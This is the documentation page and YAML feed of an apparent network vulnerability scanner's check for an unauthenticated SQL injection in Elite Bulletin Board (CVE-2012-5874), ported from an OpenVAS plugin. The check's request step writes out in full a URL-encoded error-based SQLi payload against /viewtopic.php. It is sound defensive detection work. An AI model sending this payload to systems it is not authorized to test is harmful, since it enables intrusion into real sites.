Elite Bulletin Board — 1 vulnerability check
noctis ships 1 vulnerability check for Elite Bulletin Board, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Elite Bulletin Board Multiple SQL Injection
| CVE | CVE-2012-5874 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | set_var, tcp_connect, match · highest QoD 75 |
| Feed | tests/vulnerabilities/elite-bulletin-board/CVE-2012-5874.yaml |
Tests Elite Bulletin Board for unauthenticated SQL injection via the URL path appended after viewtopic.php. The landing page identifies the product, then a URL-encoded SQLi payload triggers a MySQL backend error referencing includes/db.php and "MySQL server", confirming the injection. QoD 75.
Scope note: the original check also probes the "/ebbv" and "/ebbv2" install subdirectories and requires an HTTP 200 on the landing page before injecting. This feed probes the document root ("/index.php") only, which covers the default (root) install; a non-default subdirectory install would not be detected. This is an accepted narrowing of the detection surface.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /index.php HTTP/1.0 - Checks
landing_resp.bannerfor>Elite Bulletin Board< - Raw TCP (TLS on HTTPS), sent verbatim:
GET /viewtopic.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_… - Checks
sqli_resp.bannerfor(?s)/includes/db\.php.*MySQL server|MySQL server.*/includes/db\.php→ finding QoD 75: SQL injection confirmed — backend MySQL error leaked: …
References:
Feed source — tests/vulnerabilities/elite-bulletin-board/CVE-2012-5874.yaml
# Elite Bulletin Board Multiple SQL Injection — CVE-2012-5874
#
# Elite Bulletin Board <= 2.1.21 fails to sanitise input appended to the URL
# after several scripts (update_whosonline_reg()/update_whosonline_guest() in
# includes/user_function.php) before using it in a SQL query, allowing
# unauthenticated SQL injection.
#
# Detection (active, response analysis): confirm the application via the
# landing page (">Elite Bulletin Board<"), then send the SQLi payload to
# /viewtopic.php and observe the leaked MySQL error referencing the backend
# (includes/db.php, "MySQL server"). The payload is URL-encoded (%27/%28/...),
# so tcp_connect sends a verbatim HTTP/1.0 request to preserve it and matches
# on resp.banner. QoD 75.
#
# Ported from OpenVAS/Greenbone NVT
# 2012/gb_elite_bulletin_board_mult_sql_inj_vuln.nasl (GPL-2.0-only).
uid: 56b6e024-598b-4998-83f9-30f42ddb761b
name: "Elite Bulletin Board Multiple SQL Injection (CVE-2012-5874)"
description: |
Tests Elite Bulletin Board for unauthenticated SQL injection via the URL path appended
after viewtopic.php. The landing page identifies the product, then a URL-encoded SQLi
payload triggers a MySQL backend error referencing includes/db.php and "MySQL server",
confirming the injection. QoD 75.
Scope note: the original check also probes the "/ebbv" and "/ebbv2" install
subdirectories and requires an HTTP 200 on the landing page before injecting. This
feed probes the document root ("/index.php") only, which covers the default (root)
install; a non-default subdirectory install would not be detected. This is an accepted
narrowing of the detection surface.
cves: [CVE-2012-5874]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [elite-bulletin-board, ebb, sql-injection, web]
category: sqli
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2012-5874"
# Detection ported from OpenVAS/Greenbone NASL (GPL-2.0-only):
# 2012/gb_elite_bulletin_board_mult_sql_inj_vuln.nasl
steps:
- id: init
action: set_var
var_name: ebb_confirmed
var_value: false
# ── Product identification ───────────────────────────────────────────────
- id: landing
action: tcp_connect
port: "{{port}}"
send: "GET /index.php HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: landing_resp
- id: landing-match
action: match
source: landing_resp.banner
pattern: ">Elite Bulletin Board<"
on_match:
set_vars:
ebb_confirmed: true
# ── SQL injection probe ──────────────────────────────────────────────────
# reqwest normalises %27/%28/.. in paths, so tcp_connect sends the payload
# verbatim. The payload mirrors the NASL plugin.
- id: sqli
action: tcp_connect
port: "{{port}}"
send: "GET /viewtopic.php/%27,%28%28select*from%28select%20name_const%28version%28%29,1%29,name_co%20nst%28version%28%29,1%29%29a%29%29%29%20--%20/?bid=1&tid=1 HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: sqli_resp
condition: "ebb_confirmed == true"
# Require BOTH the leaked script path (/includes/db.php) and the MySQL
# backend marker, in either order. Matching on "MySQL server" alone would
# also fire on an ordinary connectivity error (e.g. "Can't connect to MySQL
# server") that a broken EBB install can emit without any injection.
- id: sqli-match
action: match
source: sqli_resp.banner
pattern: "(?s)/includes/db\\.php.*MySQL server|MySQL server.*/includes/db\\.php"
condition: "ebb_confirmed == true"
on_match:
finding:
confidence_delta: 0.50
qod: 75
evidence: "SQL injection confirmed — backend MySQL error leaked: {{sqli_resp.banner}}"
stop: true